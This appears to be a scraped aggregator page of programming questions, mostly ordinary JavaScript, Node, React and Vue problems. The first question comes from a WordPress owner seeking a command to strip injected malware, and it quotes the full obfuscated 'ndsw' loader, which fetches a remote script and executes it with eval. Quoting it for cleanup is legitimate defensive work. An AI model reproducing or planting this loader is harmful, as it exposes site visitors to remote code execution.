Category: javascript

Category Added in a WPeMatico Campaign

Command to remove a long JavaScript malware code with all sorts of special characters

As my subject line states, I have thousands of .js and .html files infected with javascript code (WordPress) and want to remove the code. I tried different sed and find combinations to no avail.. please can someone with these skills help me create a bash command to remove this code below?

;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//domainname.com/wp-admin/css/colors/blue/blue.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};

Any help is appreciated. Please note I need to remove this code from thousands of files and inside subfolders.

Please help to resolve this critical malware.

How to efficiently stream a real-time chart from a local data file

complete noob picking up NodeJS over the last few days here, and I’ve gotten myself in big trouble, it looks like. I’ve currently got a working Node JS+Express server instance, running on a Raspberry Pi, acting as a web interface for a local data acquisition script (“the DAQ”). When executed, the script writes out data to a local file on the Pi, in .csv format, writing out in real-time every second.

My Node app is a simple web interface to start (on-click) the data acquisition script, as well as to plot previously acquired data logs, and visualize the actively being collected data in real time. Plotting of old logs was simple, and I wrote a JS function (using Plotly + d3) to read a local csv file via AJAX call, and plot it – using this script as a starting point, but using the logs served by express rather than an external file.

When I went to translate this into a real-time plot, I started out using the setInterval() method to update the graph periodically, based on other examples. After dealing with a few unwanted recursion issues, and adjusting the interval to a more reasonable setting, I eliminated the memory/traffic issues which were crashing the browser after a minute or two, and things are mostly stable.

However, I need help with two things primarily:

  1. Improving the efficiency of my first attempt approach: This acquisition script absolutely needs to be written to file every second, but considering that a typical run might last 1-2 weeks, the file size being requested on every Interval loop will quickly start to balloon. I’m completely new to Node/Express, so I’m sure there’s a much better way of doing the real-time rendering aspect of this – that’s the real issue here. Any pointers of a better way to go about doing this would be massively helpful!
  2. Right now, the killDAQ() call issued by the “Stop” button kills the underlying python process writing out the data to disk. Is there a way to hook into using that same button click to also terminate the setInterval() loop updating the graph? There’s no need for it to be updated any longer after the data acquisition has been stopped so having the single click do double duty would be ideal. I think that setting up a listener or res/req approach would be an option, but pointers in the right direction would be massively helpful.

Thanks for much for the help!

MWE:

html (using Pug as a template engine):

doctype html
html
    body.default
        .container-fluid
          .row
            .col-md-5
              .row.text-center
                .col-md-6
                    button#start_button(type="button", onclick="makeCallToDAQ()") Start Acquisition
                .col-md-6
                    button#stop_button(type="button", onclick="killDAQ()") Stop Acquisition
            .col-md-7
                #myDAQDiv(style='width: 980px; height: 500px;')

javascript (start/stop acquisition):

function makeCallToDAQ() {
    fetch('/start_daq', {
        // call to app to start the acquisition script
    })  
    .then(console.log(dateTime))
    .then(function(response) {
        console.log(response)
        setInterval(function(){ callPlotly(dateTime.concat('.csv')); }, 5000);
    });
}    
function killDAQ() {
    fetch('/stop_daq')
        // kills the process 
    .then(function(response) {
        // Use the response sent here
        alert('DAQ has stopped!')
    })
}

javascript (call to Plotly for plotting):

function callPlotly(filename) {
  var csv_filename = filename;
  console.log(csv_filename)

  function makeplot(csv_filename) {
    // Read data via AJAX call and grab header names
    var headerNames = [];
    d3.csv(csv_filename, function(error, data) {
      headerNames = d3.keys(data[0]);
      processData(data, headerNames)
    });
  };

  function processData(allRows, headerNames) {
    // Plot data from relevant columns
    var plotDiv = document.getElementById("plot");
    var traces = [{
      x: x,
      y: y
    }];

    Plotly.newPlot('myDAQDiv', traces, plotting_options);
  };
  makeplot(filename);  
}

node.js (the actual Node app):

// Start the DAQ
app.use(express.json());
var isDaqRunning = true;
var pythonPID = 0;
const { spawn } = require('child_process')
var process;
app.post('/start_daq', function(req, res) {
  isDaqRunning = true;

    // Call the python script here.
    const process = spawn('python', ['../private/BIC_script.py', arg1, arg2])
    pythonPID = process.pid;
    process.stdout.on('data', (myData) => {
      res.send("Done!")
    })
    process.stderr.on('data', (myErr) => {
        // If anything gets written to stderr, it'll be in the myErr variable
      })
    res.status(200).send(); //.json(result);
})

// Stop the DAQ
app.get('/stop_daq', function(req, res) {
  isDaqRunning = false;
  process.on('close', (code, signal) => {
    console.log(
      `child process terminated due to receipt of signal ${signal}`);
  });

    // Send SIGTERM to process
    process.kill('SIGTERM');

    res.status(200).send();
})

Create a new array of objects by property value from existing object add existing objects to new array

I have an existing array of objects which share a property titled type like so

[
 {
   id: 1,
   name: 'a',
   type: 'foo',
 },{
   id: 2,
   name: 'b',
   type: 'bar',
 },{
   id: 3,
   name: 'c',
   type: 'fizz',
 },{
   id: 4,
   name: 'd',
   type: 'foo',
 },
]

I need to be able to structure a new array of objects with the existing ones grouped together by type like this

[
 {
  type: 'foo',
  groups: [
    {
      id: 1,
      name: 'a',
      type: 'foo',
    },{
      id: 4,
      name: 'd',
      type: 'foo',
    },
  ]
 },{
  type: 'bar',
  groups: [
    {
      id: 2,
      name: 'b',
      type: 'bar',
    }
  ]
 },{
  type: 'fizz',
  groups: [
    {
      id: 3,
      name: 'c',
      type: 'fizz',
    }
  ]
 }
]

this is what I have so far but im not able to create the new array and organize the objects by type, only able to grab the type itself any help would be greatly appreciated!

Observable.value.map(objects => {
    typesArr = [...new Set(objects.data.map(object => object.type))];
}); /// output = ['foo', 'bar', 'fizz']

How do I transform an explicit JSON payload into an array driven generic payload?

I am currently working in a project that has insisted in explicitly defining over 1,700 questions into a JSON data schema for an API and its getting out of control. I have been suggesting a more generic structure to the schema and let the data do the talking to tell you what the context is.

Whilst there are debates happening around which schema to use, we have decided on our internal systems, to go ahead and use the more generic model even if the externally facing model is the explicit one. This means we need an adapter to convert from one to the other until such time as we can just use the one we wanted in the first place.

The business is a Java shop, I don’t know whether to advise to build the adapter in Java or whether we can incorporate some lightweight JavaScript to do the work, maybe in the form of a configuration.

My question is, how would you approach converting the first JSON example into the second JSON example? It maps from explicitly defined objects to generic objects in arrays. Thanks for considering my question.

Example One

{
"nested_object" : {
    "department_one" : {
        "floor" : "4",
        "product_one" : {
            "quantity" : 10,
            "size" : "L"
        },
        "product_two" : {
            "quantity" : 5,
            "size" : "S"
        }
    },
    "department_two" : {
        "floor" : "2",
        "product_thirteen" : {
            "quantity" : 1,
            "size" : "M"
        },
        "product_eleven" : {
            "quantity" : 8,
            "size" : "L"
        }
    }
}
}

Example Two

{
"departments" : [
    {
        "department_name" : "department_one",
        "floor" : "4",
        "products" : [
            {
                "product_name" : "product_one",
                "quantity" : 10,
                "size" : "L"
            },
            {
                "product_name" : "product_two",
                "quantity" : 5,
                "size" : "S"
            }
        ]
    },
    {
        "department_name" : "department_two",
        "floor" : "2",
        "products" : [
            {
                "product_name" : "product_thirteen",
                "quantity" : 1,
                "size" : "M"
            },
            {
                "product_name" : "product_eleven",
                "quantity" : 8,
                "size" : "L"
            }
        ]
    }
]
}

changing option select based on another select with MUI

Im having a hard time rendering subgenres based off the parent genre.

import * as React from "react";
import InputLabel from "@mui/material/InputLabel";
import MenuItem from "@mui/material/MenuItem";
import ListSubheader from "@mui/material/ListSubheader";
import FormControl from "@mui/material/FormControl";
import genreobj from "./genre_reformatted.json";
import Select, { SelectChangeEvent } from "@mui/material/Select";

let genreList = genreobj.genres;

var genreMainCategories = genreList.map(function (mainGenre) {
  var info = {
    name: mainGenre.name,
    id: mainGenre.id,
    sub: mainGenre.sub_genres
  };
  return info;
});

export default function GroupedSelect() {
  const [selectGenre, setGenre] = React.useState("");
  const [subGenre, setSubGenre] = React.useState("");

  var subL = [];
  const handleChange = (event: SelectChangeEvent) => {
    console.log(event.target.value);
    var found = genreList.find((element) => element.id == event.target.value);
    console.log(found.sub_genres);
    setGenre(event.target.value);
  };

  const handleChange2 = (event: SelectChangeEvent) => {
    setSubGenre(event.target.value);
  };

  const Child = (props) => {
    const arrGenres = props;
    var newData = subL.map((item) => (
      <MenuItem value={item.name} key={item.id}>
        {item.name}
      </MenuItem>
    ));
    return newData;
  };
  var childrenGenre = subL.map(function (genre) {
    return (
      <MenuItem value={genre.name} key={genre.id}>
        {genre.name}
      </MenuItem>
    );
  });

  return (
    <div>
      <FormControl sx={{ m: 1, minWidth: 120 }}>
        <InputLabel htmlFor="grouped-select">Genres</InputLabel>
        <Select
          id="grouped-select"
          label="Grouping"
          onChange={handleChange}
          value={selectGenre}
        >
          {genreMainCategories.map((genre) => (
            <MenuItem value={genre.id} key={genre.id}>
              {genre.name}
            </MenuItem>
          ))}
          ;
        </Select>
      </FormControl>

      <FormControl sx={{ m: 1, minWidth: 120 }}>
        <InputLabel htmlFor="grouped-select">Genres</InputLabel>
        <Select
          labelId="subGenre"
          id="demo-simple-select"
          value={subGenre}
          onChange={handleChange2}
        >
          {subL.map((item) => (
            <MenuItem value={item.name} key={item.id}>
              {item.name}
            </MenuItem>
          ))}
          ;
        </Select>
      </FormControl>
    </div>
  );
}

the JSON data I am importing looks like this:

{"genres": [
    {"name": "Blues",
      "id": 2,
      "sub_genres": [
        {
          "name": "Chicago Blues",
          "id": 1007
        },
        {
          "name": "Classic Blues",
          "id": 1009
        },
        {
          "name": "Contemporary Blues",
          "id": 1010
        },
        {
          "name": "Country Blues",
          "id": 1011
        },
        {
          "name": "Delta Blues",
          "id": 1012
        },
        {
          "name": "Electric Blues",
          "id": 1013
        },
        {
          "name": "Acoustic Blues",
          "id": 1210
        }
      ]
    },
    {
      "name": "Comedy",
      "id": 3,
      "sub_genres": [
        {
          "name": "Novelty",
          "id": 1167
        },
        {
          "name": "Standup Comedy",
          "id": 1171
        }
      ]
    }....

I can see that I can get the right code in the first handle hook but after that I cant pass it to a variable.

P.S. new to JS and TSX. I come from a C99/Python background mostly if that helps any.

if file inputted, then one in three chance of video appearing

i posted this type of code earlier, but i’m posting it again in hopes of trying to figure out what to do for the javascript. i’m in a creative coding class trying to create a “useless website.” kind of like what you see in https://theuselessweb.com/

the idea is that when you submit a file, theres a chance that there would be a video of knuckles from sonic questioning, accepting or denying the file.

i’m having trouble trying to figure out how to include a file insert into an if statement, to then create the random number generator. I’ll post my code below, anything helps!

HTML CODE:

<!DOCTYPE html>
<html>

<head>
  <title>Useless Website</title>
  <meta charset="UTF-8">
  <meta name="description" content="A website that lets you insert a photo/video, and then knuckles from the sonic series approves, denies or questions your work or -meme- ">
  <link href="css/style.css" rel="stylesheet" type="text/css">
</head>

<body>

  <!--contains all HTML-->
<div class="container">

    <!--text above video-->
    <div class="header">
      <h1>Get your Meme Approved!</h1>
      <h2>By Knuckles himself.</h2>
      <p>An "Introduction to Programming Concepts" coding project by Megan Kingston. Professor is Adam Thomas at Humber College.</p>
    </div>

    <!--where you insert your meme-->
    <div class="insert" id="insert">
      <label for="myfile">Place Meme Here:</label>
      <input type="file" id="myfile" name="myfile">
    </div>

    <!--video options, under header (technically will be one video)-->
    <div class="video" id="video">
        <div class="meme-approved" id="meme-approved">
            <video width="640" height="480" controls>
                        <source src="knuckles-videos/meme-approved.mp4" type="video/mp4">
                        <source src="knuckles-videos/meme-approved.mp4" type="video/ogg">
            </video>
      </div>

        <div class="meme-denied" id="meme-denied">
            <video width="640" height="480" controls>
                        <source src="knuckles-videos/meme-denied.mp4" type="video/mp4">
                        <source src="knuckles-videos/meme-denied.mp4" type="video/ogg">
            </video>

        </div>

        <div class="meme-questionable" id="meme-questionable">
            <video width="640" height="480" controls>
                            <source src="knuckles-videos/meme-questionable.mp4" type="video/mp4">
                            <source src="knuckles-videos/meme-questionable.mp4" type="video/ogg">
            </video>
        </div>
    </div>
    
</div>

<script>

  // videos are invisible
  var element = document.getElementById("meme-approved");   // get element 1
  element.style.visibility = "hidden";

  var element = document.getElementById("meme-denied"); // get element 2
  element.style.visibility = "hidden";

  var element = document.getElementById("meme-questionable");   // get element 3
  element.style.visibility = "hidden";

  const meme = document.getElementById("insert"); // defining file insert button

  var inputArray = ['meme-approved', 'meme-denied', 'meme-questionable'];
  for (let i = 0; i < inputArray.length; i++)
  {
    element += inputArray[i] + "<br>";
  }

</script>

</body>

</html>

CSS CODE:

 
.body {
    margin: 0;
  }
  
  
  /* HEADER DESIGN */
  
  .header {
    font-family: sans-serif;
    background-color: antiquewhite;
    text-align: center;
  }
  
  .header p {
    font-size: 8pt;
    color: grey;
  }
  
  
  /* VIDEO DESIGN */
  
  .video {
    text-align: center
  }
  
  .meme-approved {
    position: relative;
    top: 0;
    left: 0;
  }
  
  .meme-denied {
    position: relative;
    bottom: 485px;
    left: 0px;
  }
  
  .meme-questionable {
    position: relative;
    bottom: 970px;
    left: 0px;
  }
  
  
  /* FILE INSERT DESIGN */
  
  .insert {
    background-color: antiquewhite;
    text-align: center;
    font-family: sans-serif;
  }

How to prevent the push method from overwriting my items in an array?

I’m studying Typescript and VueJS, and I need to push my array, but it ends up overriding my ‘name’ property.
This is my code:

const itemsSelectedOptions = ref([])    
const nameTemplate = ref('')

function setItem(){
    //@ts-ignore
    itemsSelectedOptions.value.push({name: nameTemplate, fields: [...activities.value.selectedFields]})
}

 <template>
   <div>
     <input v-model="nameTemplate" />
     <button @click="setItem">Save Template</button>
   <div>
 </template>

Everything goes fine on my “fields” property, it doesn’t overwrite. But in name always prevails the last value typed in “nameTemplate”.
Anyway, I’ll explain what “selectedFields” would be, they are boxes marked through a select.

How can I properly loop through an array, and return 1 result at a time?

Looking to just return one item at a time with a loop on an array in local storage, currently I have built a marquee with css to simulate a scrolling animation. The goal is to loop in a way that returns just one element, then on the second loop, return the second item and so forth.
Gif Exmaple

Code below 

    const marqueeMonthlies = () => {
        insertMarquee.empty();
        let marqueeMonthlyPlates = JSON.parse(localStorage.getItem('Monthly Plates'));

        for (i = 0; i < marqueeMonthlyPlates.length; i++) {
        insertMarquee.append(`
            <div class="container" id="generatedMonthlyPlates">
            <input type="text" width="100px" name="monthlyLicensePlate" id="${marqueeMonthlyPlates[i]}" class="licensePlate" placeholder="AB12345" value="${marqueeMonthlyPlates[i]}"/>
            </div>
            `)   
        }
        
    }

What would be the best way to go about that?

How do I return my image to a specific div?

I’m making a site where you can build a burger using images in the site. The images are stored in separate divs and are assigned a category. When you click on the image it adds it to a fourth div at the end. When you click on the images they’re supposed to go back to the divs they originated from. It’s supposed to rely on the data-category attribute in the images. Here is one of the divs:

    <div id = "basics" class = "category">
        <h2>Basics</h2>
        <img src="bottom-bun.png" data-category = "#basics">
        <img src="patty.png" data-category = "#basics">
        <img src="top-bun.png" data-category = "#basics">
    </div>

And here is the JavaScript:

$(function (){
    $("#basics").children().on("click", function (){
        $("#order").append(this);
    })
})
$(function (){
    $("#extras").children().on("click", function (){
        $("#order").append(this);
    })
})
$(function (){
    $("#condiments").children().on("click", function (){
        $("#order").append(this);
    })
})
$(function (){
    $("#order").children().on("click", function (){
        $(this.data("data-category")).append(this);
    })
})

Any help is appreciated.

Write multiple requests & responses from collection to one file (node)

I’m looking to write multiple request and response data to just one file from a collection.

Background:

I am able to write requests and their responses to files but when the collection is ran, they end up creating separate files for each request. See below:

I have a Collection of 3 API Requests in a file called collection.json which I exported from Postman.

I have a writeToFile.js file which has the following:

const newman = require('newman'); // require newman in your project
const fs = require('fs');

newman.run({
    collection: require('./collection.json'),
    reporters: 'cli'
}).on('request', (error, data) => {  
    if (error) {
    console.log(error);
    return;
    }

    const fileName = `${data.item.name}.txt`;
    const Request =  data.request.body;
    const contentResponse =  JSON.parse(data.response.stream);


    fs.writeFile(fileName, "Request: n" + Request + "n" + "Response: n" + JSON.stringify(contentResponse, 0, 4), function (error) {
        if (error) {
            console.error(error)
        }
    });
});

So, running this by using node writeToFile.js , 3 separate .txt files are created (from the 3 different requests in the Collection).

What can I do to create just 1 file that shows all the requests/responses in the collection, like so:

Request Payload #1
Response content #1

space

Request Payload #2
Response content #2

space

Request Payload #3
Response content #3

next js carousel with tailwindcss

i have tried to implement a carousel logic from this sandbox: https://codesandbox.io/s/react-multi-item-carousel-uvmchp?file=/package.json
but it does not work.

I’m using next js, querying the list in the index.js, then passings the props to the carousel components.

images don’t seem to get hidden when they overflow.

anyone got any idea why this isnt working?

thanks in advance <3

Index.js 

import Carousel from '../components/Carousel'
import groq from 'groq'
import client from '../client'

const Index = ({category}) => {
    return (
      <>
        <h1 className="text-3xl font-bold underline">Welcome!</h1>
        <div className="2xl:container 2xl:mx-auto 2xl:px-0 py-3 px-10">
          <Carousel category={category}/>
        </div>
      </>
    )
}

export async function getServerSideProps() {
  const category = await client.fetch(groq`*[_type == 'category']{
      title,
      "catImage": mainImage
  }`)
  return {
    props: {
      category
    }
  }
}

export default Index

carouse.js

import { useState, useRef, useEffect } from 'react';
import client from '../client'
import imageUrlBuilder from '@sanity/image-url'

function urlFor (source) {
  return imageUrlBuilder(client).image(source)
}

const Carousel = ({category}) => {
  const maxScrollWidth = useRef(0);
  const [currentIndex, setCurrentIndex] = useState(0);
  const carousel = useRef(null);

  const movePrev = () => {
    if (currentIndex > 0) {
      setCurrentIndex((prevState) => prevState - 1);
    }
  };

  const moveNext = () => {
    if (
      carousel.current !== null &&
      carousel.current.offsetWidth * currentIndex <= maxScrollWidth.current
    ) {
      setCurrentIndex((prevState) => prevState + 1);
    }
  };

  const isDisabled = (direction) => {
    if (direction === 'prev') {
      return currentIndex <= 0;
    }

    if (direction === 'next' && carousel.current !== null) {
      return (
        carousel.current.offsetWidth * currentIndex >= maxScrollWidth.current
      );
    }

    return false;
  };

  useEffect(() => {
    if (carousel !== null && carousel.current !== null) {
      carousel.current.scrollLeft = carousel.current.offsetWidth * currentIndex;
    }
  }, [currentIndex]);

  useEffect(() => {
    maxScrollWidth.current = carousel.current
      ? carousel.current.scrollWidth - carousel.current.offsetWidth
      : 0;
  }, []);

  return (
    <div className="carousel my-12 mx-auto">
      <h2 className="text-4xl leading-8 font-semibold mb-12 text-slate-700">
        Epic category list
      </h2>
      <div className="relative overflow-hidden">
        <div className="flex justify-between absolute top left w-full h-full">
          <button
            onClick={movePrev}
            className="hover:bg-blue-900/75 text-white w-10 h-full text-center opacity-75 hover:opacity-100 disabled:opacity-25 disabled:cursor-not-allowed z-10 p-0 m-0 transition-all ease-in-out duration-300"
            disabled={isDisabled('prev')}
          >
            <svg
              xmlns="http://www.w3.org/2000/svg"
              className="h-12 w-20 -ml-5"
              fill="none"
              viewBox="0 0 24 24"
              stroke="currentColor"
              strokeWidth={2}
            >
              <path
                strokeLinecap="round"
                strokeLinejoin="round"
                d="M15 19l-7-7 7-7"
              />
            </svg>
            <span className="sr-only">Prev</span>
          </button>
          <button
            onClick={moveNext}
            className="hover:bg-blue-900/75 text-white w-10 h-full text-center opacity-75 hover:opacity-100 disabled:opacity-25 disabled:cursor-not-allowed z-10 p-0 m-0 transition-all ease-in-out duration-300"
            disabled={isDisabled('next')}
          >
            <svg
              xmlns="http://www.w3.org/2000/svg"
              className="h-12 w-20 -ml-5"
              fill="none"
              viewBox="0 0 24 24"
              stroke="currentColor"
              strokeWidth={2}
            >
              <path
                strokeLinecap="round"
                strokeLinejoin="round"
                d="M9 5l7 7-7 7"
              />
            </svg>
            <span className="sr-only">Next</span>
          </button>
        </div>
        <div
          ref={carousel}
          className="carousel-container relative flex gap-1 overflow-hidden scroll-smooth snap-x snap-mandatory touch-pan-x z-0"
        >
        
          {category.map(({title = '', catImage, index}) => {
            return (
              <div
                key={index}
                className="carousel-item text-center relative w-64 h-64 snap-start"
              >
                <a
                  href="/"
                  className="h-full w-full aspect-square block bg-origin-padding bg-left-top bg-cover bg-no-repeat z-0"
                  style={{ backgroundImage: `url(${urlFor(catImage).url()})` }}
                >
                  <img
                    src={urlFor(catImage).url()}
                    alt={title}
                    className="w-full aspect-square hidden"
                  />
                </a>
                <a
                  href="/"
                  className="h-full w-full aspect-square block absolute top-0 left-0 transition-opacity duration-300 opacity-0 hover:opacity-100 bg-blue-800/75 z-10"
                >
                  <h3 className="text-white py-6 px-3 mx-auto text-xl">
                    {title}
                  </h3>
                </a>
              </div>
            );
          })}
        </div>
      </div>
    </div>
  );
};

export default Carousel;